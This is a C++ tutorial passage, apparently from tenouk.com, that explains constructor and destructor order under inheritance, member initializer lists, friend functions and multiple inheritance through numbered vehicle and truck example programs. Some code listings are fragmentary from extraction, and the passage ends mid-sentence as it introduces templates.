41. void init_truck(int how_many = 4, double max_load = 24000.0);
42. double efficiency(void);
43. int passengers(void) {return passenger_load;}
44. };
45.
46. //-----------------------------main program----------------------------
47. int main()
48. {
49. vehicle unicycle;
50.
51. //unicycle.initialize(1, 12.5);
52. //use default constructor value, so no need the
53. //initialization code for object unicycle anymore.
54. cout<<"The unicycle has "<<unicycle.get_wheels()<<" wheel.\n";
55. cout<<"The unicycle's wheel loading is "<<unicycle.wheel_load()<<" kg
56. on the single tire.\n";
57. cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";
58.
59. car sedan_car;
60. // use base class initialize() method
61. // sedan_car.initialize(4, 3500.0, 5);
62. cout<<"The sedan car carries "<<sedan_car.passengers()<<" passengers.\n";
63. cout<<"The sedan car weighs "<<sedan_car.get_weight()<<" kg.\n";
www.tenouk.com
64. cout<<"The sedan car's wheel loading is "<<sedan_car.wheel_load() <<
65. " kg per tire.\n\n";
66.
67. truck trailer;
68. //use base class initialize() method with default data
69. //trailer.initialize(18, 12500.0);
70. //trailer.init_truck(1, 33675.0);
71. cout<<"The trailer weighs "<<trailer.get_weight()<<" kg.\n";
72. cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";
73.
74. system("pause");
75. return 0;
76. }
77.
78. //----------------class implementation part-------------------------
79. // initialize to any data desired
80. void vehicle::initialize(int input_wheels, double input_weight)
81. //base class method
82. {
83. wheels = input_wheels;
84. weight = input_weight;
85. }
86.
87. void car::initialize(int input_wheels, double input_weight, int people)
88. //derived class method
89. {
90. passenger_load = people;
91. wheels = input_wheels;
92. weight = input_weight;
93. }
94.
95. void truck::init_truck(int how_many, double max_load)
96. {
97. passenger_load = how_many;
98. payload = max_load;
99. }
100.
101. double truck::efficiency(void)
102. {
103. return (payload / (payload + weight));
104. }
- We also added default constructors to each of the classes so we can study how they are used when we
use inheritance; and we have returned to the use of public inheritance.
- When we create an object of the base class vehicle, there is no problem since inheritance is not a
factor. The constructor for the base class operates in exactly the same as all the constructors have in
previous Module.
www.tenouk.com
- You will notice that we create the unicycle object in line 49 as shown below, using the default
constructor and the object is initialized to the values contained in the constructor.
vehicle unicycle;
- Line 51 is commented out because we no longer need the initialization code for the object.
//unicycle.initialize(1, 12.5);
- When we define an object of the derived classes in line 59, as shown below, it is a little different
because not only do we need to call a constructor for the derived class; we have to worry about how we
get the base class initialized through its constructor also.
car sedan_car;
- Actually, it is no problem because the compiler will automatically call the default constructor for the
base class unless the derived class explicitly calls another constructor for the base class.
- We will explicitly call another constructor in the next program example, but for now we will only be
concerned about the default constructor for the base class that is called automatically.
- The next problem we need to be concerned about is the order of constructor execution, and it is easy to
remember if you remember the following statement, "C++ classes honor their base class by calling
their base constructor before they call their own”.
- In the previous program output, you can see that the base class constructor will be called before the
derived class constructor. This makes sense because it guarantees that the base class is properly
constructed when the constructor for the derived class is executed.
- This allows you to use some of the data from the base class during construction of the derived class.
- In this case, the vehicle part of the sedan_car object is constructed, and then the local portions of
the sedan_car object will be constructed, so that all member variables are properly initialized. This
is why we can comment out the initialize() method in line 61. It is not needed.
- When we define a trailer object in line 67, it will also be constructed in the same manner. The
constructor for the base class is executed, and then the constructor for the derived class will be
executed.
truck trailer;
- The object is now fully defined and useable with default data in each member. Lines 69 and 70 are
therefore not needed and commented out as shown below:
//trailer.initialize(18, 12500.0);
//trailer.init_truck(1, 33675.0);
- As the objects go out of scope, they must have their destructors executed also, and since we didn't
define any, the default destructors will be executed.
- Once again, the destruction of the base class object named unicycle is no problem, its destructor is
executed and the object is gone.
- The sedan_car object however, must have two destructors executed to destroy each of its parts, the
base class part and the derived class part. The destructors for this object are executed in reverse order
from the order in which they were constructed.
- In other words, the object is dismantled in the opposite order from the order in which it was assembled.
The derived class destructor is executed first, then the base class destructor and the object is removed
from the allocation.
- Remember that every time an object is instantiated, every portion of it must have a constructor executed
on it. Every object must also have a destructor executed on each of its parts when it is destroyed in
order to properly dismantle the object and free up the allocation. Compile and run this program.
www.tenouk.com
- Examine the program example named inherit5.cpp for another variation to our basic program, this
time using constructors that are more than just the default constructors.
- You will notice that each class has another constructor declared within it.
1. //Program inherit5.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //----------base and derived class declaration part------------
6. class vehicle
7. {
8. protected:
9. int wheels;
10. double weight;
11. public:
12. vehicle(void)
13. {
14. wheels = 7; weight = 11111.0;
15. cout<<"It is me!, Constructor #1, own by base class"<<'\n';
16. }
17.
18. vehicle(int input_wheels, double input_weight)
19. {
20. wheels = input_wheels; weight = input_weight;
21. cout<<"It is me!, Constructor #2, own by base class"<<'\n';
22. }
23.
24. void initialize(int input_wheels, double input_weight);
25. int get_wheels(void) {return wheels;}
26. double get_weight(void) {return weight;}
27. double wheel_load(void) {return (weight/wheels);}
28. };
29.
30. class car : public vehicle
31. {
32. int passenger_load;
33. public:
34. car(void)
35. {
36. passenger_load = 4; cout<<"It is me!, Constructor #3, derived class,
37. car"<<'\n';
38. }
39.
40. car(int people, int input_wheels, double input_weight):vehicle(input_wheels,
41. input_weight), passenger_load(people)
42. {
43. cout<<"It is me!, Constructor #4, derived class, car"<<'\n';
44. }
45.
46. void initialize(int input_wheels, double input_weight, int people = 4);
47. int passengers(void) {return passenger_load;}
48. };
49.
50. class truck : public vehicle
51. {
52. int passenger_load;
53. double payload;
54. public:
55. truck(void)
56. {
57. passenger_load = 3;
58. payload = 22222.0;
59. }
60. //the following code should be in one line....
61. truck(int people, double load, int input_wheels, double
62. input_weight):vehicle(input_wheels,
63. input_weight),passenger_load(people),
64. payload(load)
65. {
66.
67. cout<<"It is me!, Constructor #5, derived class, car"<<'\n';
68. }
69. void init_truck(int how_many = 4, double max_load = 24000.0);
70. double efficiency(void);
71. int passengers(void) {return passenger_load;}
72. };
73.
www.tenouk.com
74. //----------------------------main program---------------------------
75. int main()
76. {
77. vehicle unicycle(1, 12.5);
78.
79. // unicycle.initialize(1, 12.5);
80. cout<<"The unicycle has "<<unicycle.get_wheels()<<" wheel.\n";
81. cout<<"The unicycle's wheel load is "<<unicycle.wheel_load()<<
82. " kg on the single tire.\n";
83. cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";
84.
85. //Constructor in the car class called to construct an object,
86. //after base class constructor called
87. car sedan_car(5, 4, 3500.0);
88.
89. //constructor in the car class called to construct object
90. //sedan_car.initialize(4, 3500.0, 5);
91. cout<<"The sedan car carries "<<sedan_car.passengers()<<" passengers.\n";
92. cout<<"The sedan car weighs "<<sedan_car.get_weight()<<" kg.\n";
93. cout<<"The sedan car's wheel load is "<<sedan_car.wheel_load()<<
94. " kg per tire.\n\n";
95.
96. //Constructor in the base class called to construct an object
97. truck trailer(1, 33675.0, 18, 12500.0);
98.
99. //trailer.initialize(18, 12500.0);
100. //trailer.init_truck(1, 33675.0);
101. cout<<"The trailer weighs "<<trailer.get_weight()<<" kg.\n";
102. cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";
103.
104. system("pause");
105. return 0;
106. }
107.
108. //----------base and derived class implementation part------
109. // initialize to any data desired
110. void vehicle::initialize(int input_wheels, double input_weight)
111. {
112. wheels = input_wheels;
113. weight = input_weight;
114. }
115.
116. void car::initialize(int input_wheels, double input_weight, int people)
117. {
118. passenger_load = people;
119. wheels = input_wheels;
120. weight = input_weight;
121. }
122.
123. void truck::init_truck(int how_many, double max_load)
124. {
125. passenger_load = how_many;
126. payload = max_load;
127. }
128.
129. double truck::efficiency(void)
130. {
131. return (payload / (payload + weight));
132. }
www.tenouk.com
- The additional constructor added to the vehicle class in lines 12 through 22 as shown below is
nothing special; it is just like some of the constructors we have studied earlier.
...
vehicle(void)
{
wheels = 7; weight = 11111.0;
cout<<"It is me!, Constructor #1, own by base class"<<'\n';
}
- It is used in line 77 of the main program as shown below, where we define unicycle with two values
passed in to be used when executing this constructor.
- The constructor for the car class which is declared in lines 34 through 44 as shown below is a little bit
different, because we pass in three values. One of the values, named people, is used within the
derived class itself to initialize the member variable named passenger_load.
...
car(void)
{
passenger_load = 4; cout<<"It is me!, Constructor #3, derived class,
car"<<'\n';
}
- The other two literal values however, must be passed to the base class somehow in order to initialize
the number of wheels and the weight.
- This is done by using a member initializer, and is illustrated in this constructor. The colon near the end
of line 40 as shown below indicates that a member initializer list follows, and all entities between the
colon and the opening brace of the constructor body are member initializers.
www.tenouk.com
- The first member initializer as shown below and looks like a constructor call to the vehicle class that
requires two input parameters.
...vehicle(input_wheels, input_weight)...
- That is exactly what it is, and it calls the constructor for the vehicle class and initializes that part of
the sedan_car object that is inherited from the vehicle class. We can therefore control which base
class initializer gets called when we construct an object of the derived class.
- The next member initializer, as shown below acts like a constructor for a simple variable. By
mentioning the name of the variable, passenger_load and including a value, people of the
correct type within the parentheses, that value is assigned to that variable even though the variable is
not a class, but a simple predefined type.
...passenger_load(people)
- This technique can be used to initialize all members of the derived class or any portion of them. When
all of the members of the member initializer list are executed, the code within the braces is executed.
- In this case, there is no code within the executable block of the constructor. The code within the braces
would be written in a normal manner for the constructor.
- This may seem to be very strange, but the elements of the member initializer list are not executed in the
order in which they appear in the list. The constructors for the inherited classes are executed first, in the
order of their declaration in the class header.
- When using multiple inheritance, (will be discussed in next Module) several classes can be listed in
the header line, but in this program, only one is used.
- The member variables are then initialized, but not in the order as given in the list, but in the order in
which they are declared in the class. Finally, the code within the constructor block is executed, if there
is any code in the block.
- The destructors must be executed in reverse order from the construction order, but if there are two
constructors with different construction order defined, which should define the destruction order? The
correct answer is neither. The system uses the declaration order for construction order and reverses it
for the destruction order.
- You will notice that the truck class uses one initializer for the base class constructor and two member
initializers, one to initialize the passenger_load, and another one to initialize the payload. The
body of the constructor, much like the car class, is almost empty. This should be put in one line or in
contiguous when you do the compiling.
- The two constructors in the car class and the truck class are called to construct objects in lines 87
and 97 as shown below for a car and a truck object respectively as illustrations in this program
example.
...
car sedan_car(5, 4, 3500.0);
...
truck trailer(1, 33675.0, 18, 12500.0);
...
- Examine the program example named inherit6.cpp for examples of the use of an array of objects
and a pointer to an object.
- In this program, the objects are instantiated from an inherited class and the purpose of this program is to
illustrate that there is nothing special about a derived class. A class acts the same whether it is a base
class or a derived class.
1. //Program inherit6.cpp
2. #include <iostream.h>
www.tenouk.com
3.
4. #include <stdlib.h>
5.
6. //------------base and derived class declaration part------------
7. class vehicle
8. {
9. protected:
10. int wheels;
11. double weight;
12. public:
13. vehicle(void)
14. { wheels = 7; weight = 11111.0;
15. cout<<"Constructor #1, own by base class"<<'\n';}
16. vehicle(int input_wheels, double input_weight)
17. { wheels = input_wheels; weight = input_weight;
18. cout<<"Constructor #2, own by base class"<<'\n';}
19.
20. void initialize(int input_wheels, double input_weight);
21. int get_wheels(void) {return wheels;}
22. double get_weight(void) {return weight;}
23. double wheel_load(void) {return (weight/wheels);}
24. };
25.
26. class car : public vehicle
27. {
28. int passenger_load;
29. public:
30. car(void)
31. {passenger_load = 4; cout<<"Constructor #3, derived class, car"<<"\n\n";}
32.
33. car(int people, int input_wheels, double input_weight):vehicle(input_wheels,
34. input_weight),passenger_load(people)
35. {cout<<"Constructor #4 derived class, car"<<'\n'; }
36.
37. void initialize(int input_wheels, double input_weight, int people = 4);
38. int passengers(void) {return passenger_load;}
39. };
40.
41. class truck : public vehicle
42. {
43. int passenger_load;
44. double payload;
45. public:
46. truck(void)
47. {passenger_load = 3;
48. payload = 22222.0;}
49.
50. truck(int people, double load, int input_wheels, double
51. input_weight):vehicle(input_wheels,
52. input_weight),passenger_load(people),
53. payload(load)
54. { }
55. void init_truck(int how_many = 4, double max_load = 24000.0);
56. double efficiency(void);
57. int passengers(void) {return passenger_load;}
58. };
59.
60. //---------------------------main program-------------------------
61. int main()
62. {
63. vehicle unicycle;
64.
65. unicycle.initialize(1, 12.5);
66.
67. cout<<"The unicycle has " <<unicycle.get_wheels()<<" wheel.\n";
68. cout<<"The unicycle's wheel load is "<<unicycle.wheel_load()<<
69. " kg on the single tire.\n";
70. cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";
71.
72. car sedan_car[3];
73. //an array of object with 3 elements
74. int index;
75. //variable used for counter
76. for (index = 0 ; index < 3 ; index++)
77. //count and execute
78. {
79. sedan_car[index].initialize(4, 3500.0, 5);
80. cout<<"Count no. #" <<index<<'\n';
81. cout<<"The sedan car carries "<<sedan_car[index].passengers()<<"
82. passengers.\n";
www.tenouk.com
83. cout<<"The sedan car weighs "<<sedan_car[index].get_weight()<<" kg.\n";
84. cout<<"The sedan car's wheel load is "<<sedan_car[index].wheel_load()<<
85. " kg per tire.\n\n";
86. }
87.
88. truck *trailer; //pointer
89.
90. trailer = new truck;
91. //initialize to point to something...point to an object
92.
93. if (trailer == NULL)
94. {
95. cout<<"Memory allocation failed\n";
96. exit(EXIT_FAILURE);
97. }
98. trailer->initialize(18, 12500.0);
99. trailer->init_truck(1, 33675.0);
100. cout<<"The trailer weighs " << trailer->get_weight()<<" kg.\n";
101. cout<<"The trailer's efficiency is "<<100.0 * trailer->efficiency()<<
102. " %.\n";
103.
104. delete trailer;
105. //de-allocate the object
106.
107.
108. system("pause");
109. return 0;
110. }
111.
112. //---------base and derived class implementation part----------
113. // initialize to any data desired
114. void vehicle::initialize(int input_wheels, double input_weight)
115. {
116. wheels = input_wheels;
117. weight = input_weight;
118. }
119.
120. void car::initialize(int input_wheels, double input_weight, int people)
121. {
122. passenger_load = people;
123. wheels = input_wheels;
124. weight = input_weight;
125. }
126.
127. void truck::init_truck(int how_many, double max_load)
128. {
129. passenger_load = how_many;
130. payload = max_load;
131. }
132.
133. double truck::efficiency(void)
134. {
135. return (payload / (payload + weight));
136. }
www.tenouk.com
- This program is identical to the previous program until we get to the main() program where we find
an array of 3 objects of class car declared in line 72 as shown below:
car sedan_car[3];
- It should be obvious that any operation that is legal for a simple object is also legal for an object that is
part of an array, but we must tell the system which object of the array we are interested in by adding the
array subscript as we do in lines 79, 81, 83 and 84 as shown below:
- You will notice, in line 88, we do not declare an object of type truck but a pointer to an object of
type truck. In order to use the pointer, we must give it something to point at which we do in line 90
by dynamically allocating an object size by using new keyword as shown below:
- Once the pointer has an object to point to, we can use the object in the same way we would use any
object, but we must use the pointer notation to access any of the methods of the object. This is
illustrated for you in lines 98 through 101 as shown below:
trailer->initialize(18, 12500.0);
trailer->init_truck(1, 33675.0);
cout<<"The trailer weighs " << trailer->get_weight()<<" kg.\n";
cout<<"The trailer's efficiency is "<<100.0 * trailer->efficiency()<<" %.\n";
www.tenouk.com
delete trailer;
//de-allocate the object from memory
- A function outside of a class can be defined to be a friend function by the class which gives the friend
function free access to the private or protected members of the class.
- This is done by preceding the function prototype in the class declaration with keyword friend. For
example:
private:
friend void set(int new_length, int new_width);
//friend method
friend int get_area(void) {return (length * width);}
//friend method
- So, set() and get_area() functions still can be used to access members of the class.
- This in effect, opens a small hole in the protective shield of the class, so it should be used very
carefully.
- A single isolated function can be declared as a friend, as well as members of other classes, and even
entire classes can be given friend status if needed in a program. Neither a constructor nor a destructor
can be a friend function.
- Friendship is granted, so for class Y to be a friend of class X, class X must declare that class Y is its
friend.
- Class friendship is not transitive: X friend of Y and Y friend of Z does not imply X friend of Z also is
not inherited.
- By using friend, you can see that it has weakened the data hiding. You should implement this only
when there is no way to solve your programming problem.
- Simple program example:
class SampleFriend
{
//private member variable
int i;
friend int friend_funct(SampleFriend *, int);
//friend_funct is not private,
//even though it's declared in the private section
public:
//constructor
SampleFriend(void) { i = 0;};
int member_funct(int);
};
int SampleFriend::member_funct(int a)
{
return i = a;
}
main()
{
SampleFriend xobj;
//note the difference in function calls
Output:
www.tenouk.com
- You can make all or part of the functions of class, let say, Y, into friends of class X. For example,
class One
{
friend Two;
int i;
void member_funcOne();
};
class Two;
{
void friend_One1(One&);
void friend_One2(One*);
...
...
...
};
- The functions declared in Two are friends of One, although they have no friend specifiers. They can
access the private members of One, such as i and member_funcOne.
//inheritance again...
//notice the sequence of the constructor
//and destructor, and private, public,
//protected usage...
#include <iostream.h>
#include <stdlib.h>
class Base
{
//available for this class member functions ONLY...
private:
int BaseVar;
int NewX;
int ExtraBaseVar;
www.tenouk.com
//available to the derived and outside classes...
public:
void SetDerivedOneData();
int ShowDerivedOneData()
{
//BaseVarOne is base class protected member
//variable, available to this derived class...
return (DerivedOneVar + BaseVarOne);
}
int SimilarNameFunct();
};
int Base::SimilarNameFunct()
{return ExtraBaseVar = 170;}
//constructor counter...
static int r;
cout<<"Invoking derived class constructor #"<<r<<endl;
r++;
}
void DerivedOne::SetDerivedOneData()
{}
void main()
{
www.tenouk.com
//instantiate objects with class types...
Base ObjOne, ObjFour;
DerivedOne ObjTwo, ObjFive;
Base ObjThree;
system("pause");
}
Output:
- If you cannot see the full output in Borland, you have to use its debugger (Turbo Debugger). From the
output snapshot screen you can see that the destructors were invoked in the reverse order of the
constructors.
- From the output screen also we can conclude that the processes involved for objects are:
//Program inherit3.cpp
#include <iostream>
using namespace std;
public:
void initialize(int input_wheels, double input_weight);
int get_wheels(void) {return wheels;}
double get_weight(void) {return weight;}
double wheel_load(void) {return (weight/wheels);}
};
www.tenouk.com
{
int passenger_load;
public:
void initialize(int input_wheels, double input_weight, int people = 4);
int passengers(void) {return passenger_load;}
};
//--------------main program-------------------
int main()
{
vehicle unicycle;
unicycle.initialize(1, 12.5);
car sedan_car;
sedan_car.initialize(4, 3500.0, 5);
truck trailer;
//trailer.initialize(18, 12500.0);
//this method is private now
trailer.init_truck(1, 33675.0);
www.tenouk.com
payload = max_load;
}
double truck::efficiency(void)
{
return (payload / (payload + weight));
}
Output:
/////-herit.cpp-///////////////////////
//notice the sequence of the constructor
//and destructor, and the use of private,
//public and protected. The inheritance...
//////-FEDORA 3, g++ x.x.x-/////////////
#include <iostream>
using namespace std;
class Base
{
//available for this class member functions ONLY...
private:
int BaseVar;
int NewX;
int ExtraBaseVar;
www.tenouk.com
//available to the derived and outside classes...
public:
void SetDerivedOneData();
int ShowDerivedOneData()
{
//BaseVarOne is base class protected member
//variable, available to this derived class...
return (DerivedOneVar + BaseVarOne);
}
int SimilarNameFunct();
};
int Base::SimilarNameFunct()
{return ExtraBaseVar = 170;}
//constructor counter...
static int r;
cout<<"Invoking derived class constructor #"<<r<<endl;
r++;
}
void DerivedOne::SetDerivedOneData()
{}
int main()
{
www.tenouk.com
//instantiate objects with class types...
Base ObjOne, ObjFour;
DerivedOne ObjTwo, ObjFive;
Base ObjThree;
------------------------------------------------o0o--------------------------------------------------
1. Check the best selling C/C++ and object oriented books at Amazon.com.
www.tenouk.com
MODULE 16
MULTI INHERITANCE
Abilities
▪ Multiple inheritances.
▪ Duplicated methods issue.
▪ Duplicated member variables issue.
▪ Parameterized type - Function template.
▪ Parameterized type - Class template.
16.1 Introduction
- Multiple inheritances are the ability to inherit member variable and methods from more than one base
class into a derived class.
- This feature will enhance the functionalities of the new class and its reusability but we have to deal with
few problems regarding the multi inheritance later.
- The biggest problem with multiple inheritances involves the inheritance of variables or methods with
duplicated names from two or more base classes. The question is: which variables or methods should
be chosen as the inherited entities? This will be illustrated in the following program examples.
- Actually, nothing new trick to solve this problem. It is same solution as used in the previous program
examples by using the scope operator (::) for duplicated functions name.
- Study the following program named mulinher1.cpp, it will reveal the definition of two very simple
classes in lines 7 through 32 named moving_van and driver.
1. //program mulinher1.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //-----class declaration and implementation part-------
6. //-----base class number one--------
7. class moving_van
8. {
9. protected:
10. float payload;
11. float gross_weight;
12. float mpg;
13. //this variable only available for derived class
14. //because of the protected keyword
15. public:
16. void initialize(float pl, float gw, float input_mpg)
17. {
18. payload = pl;
19. gross_weight = gw;
20. mpg = input_mpg;
21. };
22.
23. float efficiency(void)
24. {
25. return (payload / (payload + gross_weight));
26. };
27.
28. float cost_per_ton(float fuel_cost)
29. {
30. return (fuel_cost / (payload / 2000.0));
31. };
32. };
33.
34. //--------base class number two--------
35. class driver
36. {
37. protected:
38. float hourly_pay;
39. public:
www.tenouk.com
40. void initialize(float pay) {hourly_pay = pay; };
41. float cost_per_mile(void) {return (hourly_pay / 55.0); } ;
42. };
43.
44. //---------------derived class----------------------------
45. //inherit from two different base classes
46. class driven_truck : public moving_van, public driver
47. {
48. public:
49. void initialize_all(float pl, float gw, float input_mpg, float pay)
50. { payload = pl;
51. gross_weight = gw;
52. mpg = input_mpg;
53. hourly_pay = pay;
54. };
55.
56. float cost_per_full_day(float cost_of_gas)
57. {
58. return ((8.0 * hourly_pay) + (8.0 * cost_of_gas * 55.0) / mpg);
59. };
60. };
61.
62. //----------------main program---------------------------
63. int main()
64. {
65. //instantiate an object…
66. driven_truck john_merc;
67. john_merc.initialize_all(20000.0, 12000.0, 5.2, 12.50);
68.
69. cout<<"The efficiency of the Merc truck is "<<john_merc.efficiency()<<
70. " %\n";
71. cout<<"The cost per mile for John to drive Merc is
72. $"<<john_merc.cost_per_mile()<<"\n";
73. cout<<"The cost per day for John to drive Merc is
74. $"<<john_merc.cost_per_full_day(1.129)<<"\n";
75.
76. system("pause");
77.
78. return 0;
79. }
79 Lines: Output:
- In order to keep the program as simple as possible for our study, all of the member methods are defined
as inline functions.
- All variables in both classes are declared to be protected so they will be readily available for use in
any class that inherits them only.
- Beginning in line 46, we define another class named driven_truck which inherits all of the
variables and methods from both of the previously defined classes, moving_van and driver. In the
last two Modules, we have discussed how to inherit a single class into another class, and to inherit two
or more classes, the same technique is used except that we use a list of inherited classes separated by
commas as illustrated in line 46, the class header.
- We use the keyword public prior to the name of each inherited class in order to be able to freely use
the methods within the derived class. In this case, we didn't define any new variables, but we did
introduce two new methods into the derived class in lines 49 through 59 as shown below.
www.tenouk.com
float cost_per_full_day(float cost_of_gas)
{
return ((8.0 * hourly_pay) + (8.0 * cost_of_gas * 55.0) / mpg);
};
- We define an object named john_merc which is composed of four variables, three from the
moving_van class, and one from the driver class.
- Any of these four variables can be manipulated in any of the methods defined within the
driven_truck class in the same way as in a singly inherited situation.
- A few examples are given in lines 67 through 74 of the main program as shown below.
- All of the rules for private or protected variables and public or private method inheritance
as used with single inheritance extend to multiple inheritances.
- You will notice that both of the base classes have a method named initialize(), and both of these
are inherited into the subclass. However, if we attempt to send a message to one of these methods, we
will have a problem, because the system does not know which one we are referring to. This problem
will be solved as illustrated in the next program example.
- Before going on to the next program example, it should be noted that we have not declared any objects
of the two base classes in the main program. Be sure to compile and run this program after you
understand its operation completely.
- The second program example in this Module named mulinher2.cpp, illustrates the use of classes
with duplicate method names being inherited into a derived class.
1. //Program mulinher2.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //-----declaration and implementation class part------
6. //-----base class number one-----
7. class moving_van
8. {
9. protected:
10. float payload;
11. float gross_weight;
12. float mpg;
13. public:
14. void initialize(float pl, float gw, float input_mpg)
15. {
16. payload = pl;
17. gross_weight = gw;
18. mpg = input_mpg;
19. };
20.
21. float efficiency(void)
22. {
23. return (payload / (payload + gross_weight));
24. };
25.
26. float cost_per_ton(float fuel_cost)
27. {
28. return (fuel_cost / (payload / 2000.0));
29. };
30.
31. float cost_per_full_day(float cost_of_gas) //number one
32. {
33. return (8.0 * cost_of_gas * 55.0 / mpg);
34. };
35. };
36.
37. //-------base class number two-------
www.tenouk.com
38. class driver
39. {
40. protected:
41. float hourly_pay;
42. public:
43. //same method name as in moving van class…
44. void initialize(float pay) {hourly_pay = pay; };
45. float cost_per_mile(void) {return (hourly_pay / 55.0); } ;
46. float cost_per_full_day(float overtime_premium) //number two
47. {return (8.0 * hourly_pay); };
48. };
49.
50. //-----------------derived class----------------------------
51. //notice also the duplicated method names used
52. class driven_truck : public moving_van, public driver
53. {
54. public:
55. void initialize_all(float pl, float gw, float input_mpg, float pay)
56. {
57. payload = pl;
58. gross_weight = gw;
59. mpg = input_mpg;
60. hourly_pay = pay;
61. };
62.
63. float cost_per_full_day(float cost_of_gas) //number three
64. {
65. return ((8.0 * hourly_pay) + (8.0 * cost_of_gas * 55.0) / mpg);
66. };
67. };
68.
69. //-------------------main program---------------------------
70. int main()
71. {
72. driven_truck john_merc;
73.
74. john_merc.initialize_all(20000.0, 12000.0, 5.2, 12.50);
75. cout<<"The efficiency of the Merc is "<<john_merc.efficiency()<<" %\n";
76. cout<<"The cost per mile for John to drive is
77. $"<<john_merc.cost_per_mile()<<"\n\n";
78.
79. cout<<" calling the appropriate method using:\n";
80. cout<<" john_merc.moving_van::cost_per_full_day()\n";
81. cout<<"--------------------------------------------\n";
82. cout<<"The cost per day for the Merc is
83. $"<<john_merc.moving_van::cost_per_full_day(1.129)<<"\n\n";
84.
85. cout<<" calling the appropriate method using:\n";
86. cout<<" john_merc.driver::cost_per_full_day()\n";
87. cout<<"----------------------------------------\n";
88. cout<<"The cost of John for a full day is
89. $"<<john_merc.driver::cost_per_full_day(15.75)<<"\n\n";
90.
91. cout<<" calling the appropriate method using:\n";
92. cout<<" john_merc.driven_truck::cost_per_full_day()\n";
93. cout<<"----------------------------------------------\n";
94. cout<<"The cost per day for John to drive Merc is
95. $"<<john_merc.driven_truck::cost_per_full_day(1.129)<<"\n";
96.
97. system("pause");
98. return 0;
99. }
99 Lines: Output:
www.tenouk.com
- A new method has been added to all three of the classes named cost_per_full_day(). This was
done intentionally to illustrate how the same method name can be used in all three classes. The class
definitions are no problem at all; the methods are simply named and defined as shown.
- The problem comes when we wish to use one of the methods since they are all have same name,
numbers and types of parameters and identical return types. This prevents some sort of an
overloading rule to disambiguate the message sent to one or more of the methods.
- The method used to disambiguate the method calls are illustrated in lines 82-83, 88-89, and 94-95
of the main program as shown below:
- The solution is simple by prepending the class name to the method name with the double colon (::,
scope operator) as used in the method implementation definition. This is referred to as qualifying the
method name. Actually, qualification is not necessary in line 95 since it is the method in the derived
class and it will take precedence over the other method names.
- Actually, you could qualify all method calls, but if the names are unique, the compiler can do it for you
and make your code easier to be written and read. Be sure to compile and run this program and study
the output and the source code.
- Examine the program example named mulinher3.cpp, you will notice that each base class has a
variable with the same name, named weight.
1. //Program mulinher3.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //------class declaration and implementation part--------
6. //------class number one-----------
7. class moving_van
8. {
9. protected:
10. float payload;
11. float weight; //note this variable
12. float mpg;
13. public:
14. void initialize(float pl, float gw, float input_mpg)
www.tenouk.com
15. {
16. payload = pl;
17. weight = gw;
18. mpg = input_mpg;
19. };
20.
21. float efficiency(void)
22. { return(payload / (payload + weight)); };
23.
24. float cost_per_ton(float fuel_cost)
25. { return (fuel_cost / (payload / 2000.0)); };
26. };
27.
28. //-----class number two------------
29. class driver
30. {
31. protected:
32. float hourly_pay;
33. float weight; //another weight variable
34. //variable with same name as in class number one
35. public:
36. void initialize(float pay, float input_weight)
37. //same method name but different number of parameter
38. {
39. hourly_pay = pay;
40. weight = input_weight;
41. };
42. float cost_per_mile(void) {return (hourly_pay / 55.0); } ;
43. float drivers_weight(void) {return (weight); };
44. };
45.
46. //-----------derived class with multi inheritance---------
47. //---------declaration and implementation-----------------
48. class driven_truck : public moving_van, public driver
49. {
50. public:
51. void initialize_all(float pl, float gw, float input_mpg, float pay)
52. //another same method name but different number of parameter
53. {
54. payload = pl;
55. moving_van::weight = gw;
56. mpg = input_mpg;
57. hourly_pay = pay;
58. };
59.
60. float cost_per_full_day(float cost_of_gas)
61. { return ((8.0 * hourly_pay) + (8.0 * cost_of_gas * 55.0) / mpg); };
62.
63. float total_weight(void)
64. //see, how to call different variables with same name
65. {
66. cout<<"\nCalling appropriate member variable\n";
67. cout<<"---->(moving_van::weight)+(driver::weight)\n";
68. cout<<"------------------------------------------\n";
69. return ((moving_van::weight) + (driver::weight));
70. };
71. };
72.
73. //----------the main program---------------------
74. int main()
75. {
76. driven_truck john_merc;
77.
78. john_merc.initialize_all(20000.0, 12000.0, 5.2, 12.50);
79. //accessing the derived class method
80. john_merc.driver::initialize(15.50, 250.0);
81. //accessing the base class number two
82.
83. cout<<"The efficiency of the Merc is "<<john_merc.efficiency()<<" %\n";
84. cout<<"The cost per mile for John to drive is
85. $"<<john_merc.cost_per_mile()<<"\n";
86. cout<<"The cost per day for John to drive Merc is
87. $"<<john_merc.cost_per_full_day(1.129)<<"\n";
88. cout<<"The total weight is "<<john_merc.total_weight()<<" ton\n";
89.
90. system("pause");
91. return 0;
92. }
92 Lines: Output:
www.tenouk.com
- According to the rules of inheritance, an object of the driven_truck class will have two variables
with the same name, weight. This would be a problem if it weren’t for the fact that C++ has defined a
method of accessing each one in a well defined way. We have to use qualification to access each
variable.
- Line 69 as shown below, illustrates the use of the variables. It may be obvious, but it should be
explicitly stated, the derived class itself can have a variable of the same name as those inherited from
the base classes. In order to access it, no qualification would be required, but qualification with the
derived class name is permitted.
- It should be apparent to you that once you understand single inheritance, multiple inheritances is
nothing more than an extension of the same rules. Of course, if you inherit two methods or variables of
the same name, you must use qualification to allow the compiler to select the correct one.
- Constructors are called for both classes before the derived class constructor is executed. The
constructors for the base classes are called in the order they are declared in the class header.
- Compile and run this program.
- Many times, when developing a program, you wish to perform some operation on more than one data
type with same program routine. For example you may wish to sort a list of integers, another list of
floating point numbers, and a list of alphabetic strings but the sorting routine should be same.
- It seems silly to write a separate sort function for each of the three types when all three are sorted in the
same logical way.
- With parameterized types, you will be able to write a single sort routine that is capable of sorting all
the three different types of data.
- This is already available in other programming language such as Ada language as the generic package
or procedure.
- There is already a library of these components available, as a part of the ANSI-C++ standard and most
of the C++ compilers available in the market. It is called the Standard Template Library,
usually referred to as STL.
- It will be very beneficial for you to study this and learn how to use it in your programs. The detail
discussion about STL is presented in Part III of this Tutorial. Assume this section as an introduction of
the generic programming.
- The following program example named template1.cpp is our first example of the template and
